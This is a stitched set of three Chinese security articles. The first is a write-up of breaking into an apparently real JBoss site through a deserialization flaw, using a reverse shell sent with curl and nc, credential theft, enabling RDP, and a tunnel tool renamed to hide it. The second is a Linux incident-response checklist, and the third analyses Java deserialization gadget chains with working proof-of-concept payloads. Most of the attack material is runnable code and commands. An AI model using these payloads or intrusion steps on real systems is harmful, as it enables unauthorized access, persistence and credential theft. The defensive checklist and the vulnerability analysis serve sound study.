## 0x00 前言
今天扫到了一个jboss的站十分奇怪，存在jmx-console和JMXInvokerServlet漏洞
但是通过war远程部署的方法访问jsp小马的时候页面报错500，推测应该是禁止了web流量的原因，那么只能通过JMXInvokerServlet拿他的shell了
## 0x01 Jboss反序列化的原理
JMXInvokerServlet 反序列化漏洞和Jboss 的 HttpInvoker 组件中的ReadOnlyAccessFilter
过滤器的漏洞可以是同一个操作思路就能进行“一打二”
Jboss反序列化的漏洞编号为：CVE-2015-7501和CVE-2017-12149
CVE-2015-7501漏洞：JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象，然后我们可以利用
Apache Commons Collections 中的 Gadget 执行任意代码。
CVE-2017-12149漏洞：该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的
ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。
不过我也不是专门走java路线的，所以java栈也不在我的技术范围之内，这里只好搜集各种资料试图对两个漏洞的原理进行了解
这里先说两个概念：
Java序列化就是指把Java对象转换为字节序列的过程，在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。
Java反序列化就是指把字节序列恢复为Java对象的过程，根据字节流中保存的对象状态及描述信息，通过反序列化重建对象。
用代码看就是：
序列化：
FileOutputStream fos = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(st);
反序列化:
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (Student) ois.readObject();
CVE-2015-7501，这是经典的JBoss反序列化漏洞，漏洞产生的原因是JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象
而CVE-2017-12149的漏洞出现在HttpInvoker组件中的ReadOnlyAccessFilter过滤器中，源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:
可以看出它从http中获取数据，通过调用readobject()方法对数据流进行反序列操作，但是没有进行检查或者过滤
这就造成了JBoss中invoker/JMXInvokerServlet路径对外开放，而且JBoss的jmx组件支持Java反序列化
## 0x02 漏洞利用
注意EXP只能利用服务器本机的资源，不能加载远程类
通过对漏洞成因分析可以得知，我们只能通过链式调用来执行java语句。换句话说，我们所想执行的语句必须可以写到一行里面，而且还不能带分号：
(
其实这里很好突破，我们只要把我们想要执行的任意代码（无论有多长）在本地编译成class，然后把class字节码上传到服务器就可以了。然后问题又来了，怎么上传呢，上传到什么路径下面呢？上传可以通过FileOutputStream这个类来实现，上传路径就更简单了，直接给FileOutputStream传个“.”过去，上传到程序运行的当前目录下面,一句话代码：
new FileOutputStream(“./payload.class”).write(new byte[]{0xXX,0xXX……})
上传的问题解决了，下面执行也就好办了，一句代码：
java.net.URLClassLoader. getConstructor(java.net.URL[].class). newInstance(new java.net.URL[] {new java.net.URL("file:./")}). loadClass(“payload”). newInstance(“cmd.exe /c whoami”)
这样就可以只利用服务器本机资源，不需要联网，可以上传任意文件至任意目录。
获取命令回显内容：
通过对JBOSS中invoker/JMXInvokerServlet的返回结果进行分析，得知返回的是一个
MarshalledValue对象，该对象封装了invoker/JMXInvokerServlet的返回值，如果执行过程中有异常抛出，一个InvocationException对象就会封装在MarshalledValue对象里面。
到这里思路就很明确了，java
的异常有个构造函数是可以传String参数的，我们可以把第一步那个class文件中命令执行的结果作为参数构造一个Exception，然后在payload.class最后throw这个Exception，这样这个带有回显内容的Exception就会封装在MarshalledValue对象里面通过http协议返回，我们只要把返回的MarshalledValue对象解包，就可以获取回显的内容了。
payload.java的源代码如下:
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class RunCheckConfig {
public RunCheckConfig(String args) throws Exception
{
Process proc = Runtime.getRuntime().exec(args);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e=new Exception(result);
throw e;
}
}
解包程序的源代码:
public static void main(String args[]) throws Exception
{
FileInputStream fis = new FileInputStream("d:/response.bin");
byte TempByte[]=new byte[5000*1000];
int length=fis.read(TempByte);
int ClassStart=0;
for (int i=0;i<length;i++)
{
if (TempByte[i]==0x0d&&TempByte[i+1]==0x0a&&TempByte[i+2]==0x0d&&TempByte[i+3]==0x0a)
{
System.out.println(i);
ClassStart=i;
break;
}
}
byte ClassByte[]=new byte[length-ClassStart-4];
for (int i=0;i<ClassByte.length;i++)
{
ClassByte[i]=TempByte[i+ClassStart+4];
}
fis.close();
TempByte=null;
ByteArrayInputStream ai=new ByteArrayInputStream(ClassByte);
ObjectInputStream ois = new ObjectInputStream(ai);
MarshalledValue st1 = (MarshalledValue) ois.readObject();
InvocationException o=(InvocationException) st1.get();
System.out.println(o.getTargetException().getCause().getCause().getCause().getMessage());
}
下面是解包后的截图：
## 0x03 漏洞实战
前文提到，可以用exp执行命令回显，师傅们已经帮我们铺好了道路，写好了脚本去检测是否有这个漏洞存在
这里先用软件扫描出存在JMXInvokerServlet反序列化，这里其实可以用工具直接拿shell上线，但是这个shell是一个交互式shell并不稳定，随时有掉线的可能，所以我这里选择手动利用
这里需要利用反弹流量，所以需要准备一台有公网ip的vps
利用jboss反序列化工具：<https://github.com/ianxtianxt/CVE-2015-7501/>
把反序列化工具解压到vps，执行如下命令
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:4444（IP是攻击机ip,即公网ip,4444是要监听的端口)
这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件
这时候我们在本地用nc监听一个端口接受反弹shell
nc -lvnp 4444
然后我们再使用一个curl去请求反弹建立连接
curl http://被攻击机ip:端口/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
这里再切回nc界面发现shell已经反弹了过来
然后cs上线抓密码
开3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
结果连接不上，使用reg生成脚本代理也连接不上，应该是存在什么规则禁止web流量
vps上传ew作反向代理，使目标机能够访问我的vps，但是我访问不到他
chmod 777 ew_for_linux //赋予ew读写权限
./ew_for_linux64 -s lcx_listen -l 1111 -e 1234 //将1111接收到的流量转发到1234端口
把ew_for_windows上传到目标机上，这里我为了隐蔽改了一个名字叫sqlserver.exe
shell ew_for_windows.exe -s lcx_slave -d vps-ip -e 1234 -f 目标机内网ip -g 3389
再回到我们的vps发现已经接受到了流量
直接本地连接vps的1111端口
登录成功
## 0x04 后记
jboss的总体漏洞相比weblogic、shiro来说是比较少的，但是在jmx反序列化这一块确实重灾区，虽然脚本能够帮我们直接拿下一个shell，但是因为是交互性的shell，随时都有可能掉线，所以这时候就需要我们用vps手动去利用这个jmx反序列化的漏洞。 | 社区文章 |
# 应急响应入门篇-Linux分析排查技术（下）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、Linux分析排查技术
### 1- 异常用户分析排查
在Linux中root用户是一个无敌的存在，可以在Linux上做任何事情。
**新建用户 useradd username**
**
设置密码 passwd username 输出密码**
设置用户uid和gid都为0，（root用户uid为0，gid为0）修改问即可/etc/
cat /etc/passwd
grep “0:0” /etc/passwd
ls -l /etc/passwd
awk -F: “$3==0”{print$1}’ /etc/shadow或awk -F:’length($2)==0{print$1}’ /etc/shadow
1.cat /etc/passwd //查看etc/passwd目录下的用户
2.vim /etc/passwd 进入这个目录下，将test1的uid和gid改为0，0.
3.新建用户 useradd username
设置密码 passwd username 输出密码
4.使用su test1 切换到test1用户下。
5.使用grep “0:0” /etc/passwd来找gid和pid都为管理员用户的用户。
6.ls -l /etc/passwd 查看修改时间
7.还可以使用awk -F: “$3==0”{print$1}’ /etc/passwd或awk -F:’length($2)==0{print$1}’
/etc/passwd来对其进行查找
8.最后使用id来查看test1的用户属性
Linux所有用户都会在/etc/passwd、/etc/shadow、/etc/group文件中记录
cat /etc/passwd ：查看是否有其他uid，gid为0的情况
less /etc/passwd：查看是否有新增用户
grep :0 /etc/passwd：查看是否有特权用户
ls -l /etc/passwd：查看passwd最后修改时间
awk -F: 'length($2)==0 {print $1}' /etc/shadow：查看是否存在空口令用户
### 2-历史命令分析history
在Linux系统中默认会记录之前执行的命令 **/root/bash_history** 文件中
用户可以使用 **cat /root/bash_history** 进行查看或者使用history命令进行查看
特别注意:wget（可能下载远程木马）、ssh（连接内网主机）、tar zip 类命令（数据打包）、系统配置等（命令修改）
1.使用history可以查看历史命令。
2.然后对其进行查找一些比较特别的命令如wget、ssh、tar，zip等等命令。
### 3-计划任务排查-crontab
在Liunx系统中可以使用命令 **crontab** 进行计划任务的设定
其中-e 可以用来编辑设定计划任务，-l可以用来查看当前计划任务，-r用来删除计划任务。
**特别注意计划任务中未知内容。**
使用 **crontab -h** 查看帮助信息
crontab -l 查看当前的计划任务。
新建一个计划任务。
然后把它保存到/bin/ls目录下。
常见计划任务位置：
/var/spool/cron/*
/var/spool/anacron/*
/etc/crontab
/etc/anacrontab
/etc/cron.*
/etc/anacrontab
/etc/rc.d/init.d/
### 4-开机启动项
在Linux（Debian）系统中，/etc/init.d/目录下保存着开机自启动程序的目录
用户可以直接使用/etc/init.d/程序名称查看status状态
使用update-rc.d 程序名称 disable 取消开机自启动。 enable开机启动
使用etc/init.d 查看开机自启动目录
查看apache2 开机启动项的状态
使用/etc/init.d/apche2 start 讲apache2 开启。
再次查看它的状态值，发现已经启动了。
使用upadte-rc.d apache2 enbale 设置开机自启动。
重启一次之后再次查看状态值。
常用命令：
ls /etc/rc.d
systemctl list-unit-files
chkconfig --list [service_name]
### 5-$path变量异常
决定了shell将到那些目录中寻找命令或程序，PATH的值是一系列目录，当你运行一个程序时，LINux在这些目录下仅需搜寻编译连接。ls cd
修改PATH export PATH=$PATH:/usr/locar/new/bin
本地终端中有效，重启后无效。在/etc/profile或/home/.bashrc(source~/.bashrc)才能永久生效。
### 6-后门排查-rkhunter
Rkhunter具有如下功能：
1.系统命令检测、MD5校验
2.Rookit检测
3.本机敏感目录、系统配置异常检测
安装：apt install rkhunter
基本使用： rkhunter -check -sk
使用 rkhunter -check -sk 进行后门检测。
要注意那些warning的一些目录。
跑完程序之后，然后对可疑目录再次进行排查。
## 二、常用技巧：
**1.日志如果被软链接到`/dev/null`**
1.删除log
2.重启rsyslog
**2 如果文件/目录无法删除，可使用lsattr查看文件/目录属性，如果有-i属性可使用chattr -i去除**
**3 查找777的权限的文件：`find / \*.php -perm 777`，因为大部分黑客普遍喜欢直接赋于文件/目录777的权限**
**4 搜集SSH爆破字典：`grep "Failed password" /var/log/secure | awk {'print $9'} |
sor0t | uniq -c | sort -nr`**
**5 查看恶意文件里面的IP：`strings /usr/bin/.sshd | egrep '[1-9]{1,3}\.[1-9]{1,3}\.'`**
**6 根据特征删除指定进程：`ps aux|grep -v grep|grep "mysqlc"|awk '{print $2}'|xargs kill
-9`**
**7 获取进程id数组，并循环杀死所有进程**
ps -ef|grep "java" | grep -v grep|awk '{print $2}'
kill -9 `ps -ef|grep "java" | grep -v grep|awk '{print $2}'`
for pid in $(ps -ef|grep "java" | grep -v grep|awk '{print $2}'); do
echo $pid
kill -9 $pid
done
**8 隐藏进程查找：**
进程都存在于内存中，而内存中的数据又都是写入到/proc/目录下，基于此可查找隐藏文件
ps -ef | awk '{print}' | sort -n | uniq >1
ls /proc | sort -n |uniq >2
diff 1 2
另外，针对挖矿命令被劫持的情况下可以使用perf top -s pid,comm,dso,symbol来看到挖矿进程
**9 SEO文件搜索：`grep -ri baiduspider web_root_master`**
**10`netstat`被替换，可使用ss、lsof来替换**
**11`arp -a`：查看arp记录是否正常**
**12 关注Content-Length值：`awk '{if($10>5000000){print $0}}'
/var/log/httpd/access_log`**
**13 查看动态库是否被修改**
echo $LD_PRELOAD
busybox cat /etc/ld.so.preload
也可使用strace、ldd、readefl等命令
**14 利用iptables阻断通讯**
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
**15 文件监控**
创建文件监控规则
auditctl -w /etc/passwd -p war -k password_monitor
监听日志
tail -f /var/log/audit/audit.log|grep password_monitor
**16 网页挖矿多数都是加载conhive.min.js，script标签里有miner.start关键字，全局查找即可**
**17 检查SSH后门**
•对比ssh版本：ssh -V
•查看ssh配置文件和/usr/sbin/sshd的时间:stat /usr/sbin/sshd
•strings检查/usr/sbin/sshd，看是否有邮箱、IP等信息:strings /usr/bin/.sshd | egrep
‘[1-9]{1,3}.[1-9]{1,3}.‘
•通过strace监控sshd进程读写文件的操作，一般的sshd后门都会将账户密码记录到文件，可以通过strace进程跟踪到ssh登录密码文件。
**18 清除僵尸进程**
父进程调用fork创建子进程后，子进程运行直至其终止，它立即从内存中移除，但进程描述符仍然保留在内存中。
ps -e -o stat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}' | xargs kill -9
## 三、总结：
本文主要是紧接着之前的文章进行补充，主要是从异常用户分析、历史命令分析、计划任务排查、开机启动项、$path变量异常、后门排查-rkhunter等方面出发，来对linux系统进行全方面的应急响应。 | 社区文章 |
# Java反序列化漏洞的一些利用链分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 最近学习了一下java的反序列化漏洞，对一些之前爆出来的一些开源组件的反序列化漏洞的进行了简单的分析，并总结到这篇文章中。
## 项目的依赖项配置
为了复现时安装各个版本的库方便我使用了maven来构建项目。我是用的maven依赖项的配置为：
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.9</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-io</artifactId>
<version>1.3.2</version>
</dependency>
</dependencies>
## Apache common collections
Apache common collections的反序列化利用链在15年左右爆出，由于许多框架都用到了这个库，因此也是造成了很大的影响。
### Pop链
apache common
collection的整个反序列化过程主要依托于transformer类以及TransformedMap类。Transformer类用于描述变换过程，而TransformedMap则将这个变换过程应用于一个Map上，当Map中的元素发生改变时则按照设置好的Transformer进行一系列的处理操作。
Map transformedMap=TransformedMap.decorate(map,keyTrasnfomer,valueTransformer);
这里便是通过一个decorate函数将一个map转换为TransformedMap,并且对map的key和value绑定相应的这里便通过一个decorate函数将一个map转换为TranformedMap,并对map的key和value绑定相应的Transformer,当`key`和`value`改变时便触发对应的`Transformer`的`transform`方法进行处理动作。
如果想要实现一连串的变换操作则可以通过ChainedTransformer来实现,比如这里我们用于实现RCE的Tranformer链：
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
/*
由于Method类的invoke(Object obj,Object args[])方法的定义
所以在反射内写new Class[] {Object.class, Object[].class }
正常POC流程举例：
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
*/
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String.class },
new Object[] { "/Applications/Calculator.app/Contents/MacOS/Calculator" } //目标机器上反序列化后执行的命令
)
};
Transformer chainedTransformer=new ChainedTransformer(transformers);
实际执行的代码便是`((Runtime)
Runtime.class.getMethod("getRuntime").invoke()).exec("/Applications/Calculator.app/Contents/MacOS/Calculator")`,也就是Map下的弹计算器的指令。
之后我们可以构造一个使用这个chain的TransformedMap,并且触发对这个transformedMap的处理即可
Map map=new HashMap();
map.put("a","b");
Map transformedMap=TransformedMap.decorate(map,null,chainedTransformer);
transformedMap.put("a","z");
执行后即可发现能够成功弹出计算器
### RCE构造
我们已经构造出了执行命令的popChain,那样怎样才能找到一个符合条件的RCE?我们需要找到一个满足下列条件的类:
* 重写了`readObject`方法
* 在readObject方法中存在对一个可控的map进行修改的过程
之前的很多文章都是使用的`AnnotationInvocationHandler`类,然而最开始调试时我使用的jdk版本(1.8)中该类的`readObject`方法中并没有找到对map的更改操作。后来参考反序列化自动化工具`ysoserial`中的`CommonsCollections5`这个payload实现了其中的一个调用链：利用`BadAttributeValueExpException`类。我们可以看一下这个类的readObject方法：
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
可以看到这里我们对反序列化传入的对象的成员属性val判断其类型，如果这个变量不是String便会调用val的toString方法。这里如果我们通过反序列化传入的val是一个lazyMap类的entry，在调用其toString方法时便会调用LazyMap.get()从而触发绑定的Transformer的`transform`方法。但是这里我们的`LazyMap`类在获取一个不存在的键的时候才会触发`transform`，因此我们这里可以引入另外一个类`TiedMapEntry`,这个类在执行toString时可以调用其绑定的map取获取预定的键。
因此这个poc链的执行过程为：
BadAtrributeValueException对象exception ->
exception对象的val设置为lazyMap的TiedMapEntry,键为lazyMap中不存在的键 ->
调用entry的toString() ->
调用lazyMap的get方法获取这个不存在的键 ->
调用transform方法
具体实现：
Transformer chainedTransformer=new ChainedTransformer(transformers);
Map normalMap=new HashMap();
normalMap.put("hackedby","imagemlt");
Map lazyMap=LazyMap.decorate(normalMap,chainedTransformer);
TiedMapEntry entry=new TiedMapEntry(lazyMap,"foo");
BadAttributeValueExpException exception=new BadAttributeValueExpException(null);
Field valField=exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception,entry);
File f=new File("/tmp/payload.bin");
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(exception);
out.flush();
out.close();
ObjectInputStream in=new ObjectInputStream(new FileInputStream(f));
in.readObject();
其实我们看这个反序列化的利用链可以联想到之前wordpress的phar
反序列化RCE的漏洞也用到了一个类似的对数组进行操作的Iterator类，所以利用一个Map的附加操作也可以作为我们挖掘此类漏洞的思路。
## Spring JNDI反序列化漏洞
众所周知Spring框架是一款用途广泛影响深远的java框架，因此Spring框架一旦出现漏洞也是影响深远。这次分析的Spring
jdni反序列化漏洞主要存在于spring-tx包中，该包中的`org.springframeworkl.transation.jta.JtaTransationManager`类存在JDNI反序列化的问题，可以加载我们注册的RMI链接，然后将对象发送到有漏洞的服务器从而执行远程命令。首先应当注意本文中成功执行的Poc本人仅在jdk1.7中测试成功，而jdk1.8中未测试成功。
> 这里的测试环境使用的是github上的项目<https://github.com/zerothoughts/spring-jndi>
### 什么是JNDI?
在这里的JNDI的利用方法在下面分析fastjson的反序列化漏洞时也会用到。`JNDI`(Java Naming and Directory
Interface)是J2EE中的重要规范之一，是一组在Java应用中访问命名和目录服务的API，使得我们能够通过名称去查询数据源从而访问需要的对象。在这里我们给出在java下的一段提供JNDI服务的代码：
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(8086), 0);
httpServer.createContext("/",new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://127.0.01:8086/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
这里我们创建了一个HTTP服务后又创建了一个RMI服务,并且RMI服务提供了对`ExportObject`类的查询，这里ExportObject类的源码为：
public class ExportObject {
public ExportObject() {
try {
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch(Exception e) {
e.printStackTrace();
}
}
}
其功能便是执行我们验证rce时常用的调用计算器的功能。
要加载ExportObject类我们可以使用以下的代码:
Context ctx=new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/Object");
//System.out.println("loaded obj");
执行以下代码后可以发现ExportObject类的构造函数被调用，弹出了计算器。
### Spring框架中的JNDI反序列化漏洞
导致JNDI反序列化问题的类主要是`org.springframework.transaction.jta.JtaTransactionManager`类。跟进该类的源码中的`readObject()`函数:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
this.jndiTemplate = new JndiTemplate();
this.initUserTransactionAndTransactionManager();
this.initTransactionSynchronizationRegistry();
}
继续跟进`initUserTransactionAndTransactionManager()`函数
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
if (this.userTransaction == null) {
if (StringUtils.hasLength(this.userTransactionName)) {
this.userTransaction = this.lookupUserTransaction(this.userTransactionName);
this.userTransactionObtainedFromJndi = true;
} else {
this.userTransaction = this.retrieveUserTransaction();
if (this.userTransaction == null && this.autodetectUserTransaction) {
this.userTransaction = this.findUserTransaction();
}
}
}
继续进一步跟进`lookupUserTransaction()`函数
protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {
try {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
}
return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
} catch (NamingException var3) {
throw new TransactionSystemException("JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", var3);
}
}
可以看到最终`return
(UserTransaction)this.getJndiTemplate().lookup(userTransactionName,
UserTransaction.class)`,跟进`JndiTemplate`类的`lookup`方法,
public Object lookup(final String name) throws NamingException {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Looking up JNDI object with name [" + name + "]");
}
return this.execute(new JndiCallback<Object>() {
public Object doInContext(Context ctx) throws NamingException {
Object located = ctx.lookup(name);
if (located == null) {
throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
} else {
return located;
}
}
});
}
而`execute()`方法的定义如下
public <T> T execute(JndiCallback<T> contextCallback) throws NamingException {
Context ctx = this.getContext();
Object var3;
try {
var3 = contextCallback.doInContext(ctx);//此处触发RCE
} finally {
this.releaseContext(ctx);
}
return var3;
}
可以看到在整个流程的最后将会查询最开始我们由反序列化传入的`org.springframework.transaction.jta.JtaTransactionManager`类的对象的`userTransactionName`属性，最终导致加载了我们恶意的rmi源中的恶意类，从而导致RCE。
### Poc
这个漏洞的Poc构造比起之前分析的apache common collections反序列化的Poc构造显然要简单许多：
System.out.println("Connecting to server "+serverAddress+":"+port);
Socket socket=new Socket(serverAddress,port);
System.out.println("Connected to server");
String jndiAddress = "rmi://127.0.0.1:1099/Object";//恶意的rmi注册源
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
可以看到已经弹出了计算器
## fastjson反序列化漏洞
与上面的利用链不同，之前我们介绍到的利用链都是由`readObject()`方法触发，而在fastjson的反序列化中我们触发漏洞则是利用了目标类的`setXXX()`方法和`getXXX()`方法，因为这两个方法是fastjson在完成反序列化时需要调用的方法。
关于fastjson的反序列化我测试了两种不同的利用链，分别为`JdbcRowSetImpl`与`TemplatesImpl`.前者正如同之前测试的spring
jndi反序列化漏洞，使用了JNDI这一java特性来实现RCE；而后者则使用了另一套不同的机制。这里给出两种利用链的分析。
## JdbcRowSetImpl
利用JdbcRowSetImpl时使用的payload主要如下:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:3456/Object",
"autoCommit":true
}
在触发反序列化时会调用`JdbcRowSetImpl`类的 `setAutoCommit`函数
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
继续跟进`connect`函数
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
可以看到当conn为null时会发起JNDI查询从而加载我们的恶意类,这条利用链也是很简单的一条利用链，其缺陷也很明显，在jdk版本1.8时无法直接使用。
## TemplatesImpl
payload如下:
{ "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["base64编码后的继承于AbstractTranslet类的子类的class文件"],
'_name':'a.b',
'_tfactory':{ },
"_outputProperties":{ },
"_version":"1.0",
"allowedProtocols":"all"
}
由于`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`类的`outputProperties`属性类型为`Properties`因此在反序列化过程中会调用该类的`getOutputProperties`方法。
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
继续跟进`newTransformer`方法
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);//this line
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
在`newTransformer`方法中需要实例化一个TransformerImpl类的对象，跟进`getTransletInstance()`方法
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
跟进`defineTransletClasses`方法中
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
//...
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
可以看到该方法将会遍历我们传入的`_bytecodes`数组，执行`loader.defineClass`方法，而`TransletClassLoader`类的defineClass方法如下:
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
可见直接实现于`ClassLoader`类的`defineClass`方法。查询jdk1.8的文档
可以看到该方法会将我们传入的编码后的class文件加载入jvm。
而我们的恶意类继承于`ABSTRACT_TRANSLET`，即`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`，因此便会设置`_transletIndex`为0。再回到我们的`getTransletInstance`方法中，
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
生成了一个我们的恶意类的对象实例，因此导致了我们的恶意类中的代码最后被执行。
这里我们使用的恶意类如下:
package JavaUnser;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class ShellExec extends AbstractTranslet{
public ShellExec() throws IOException{
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
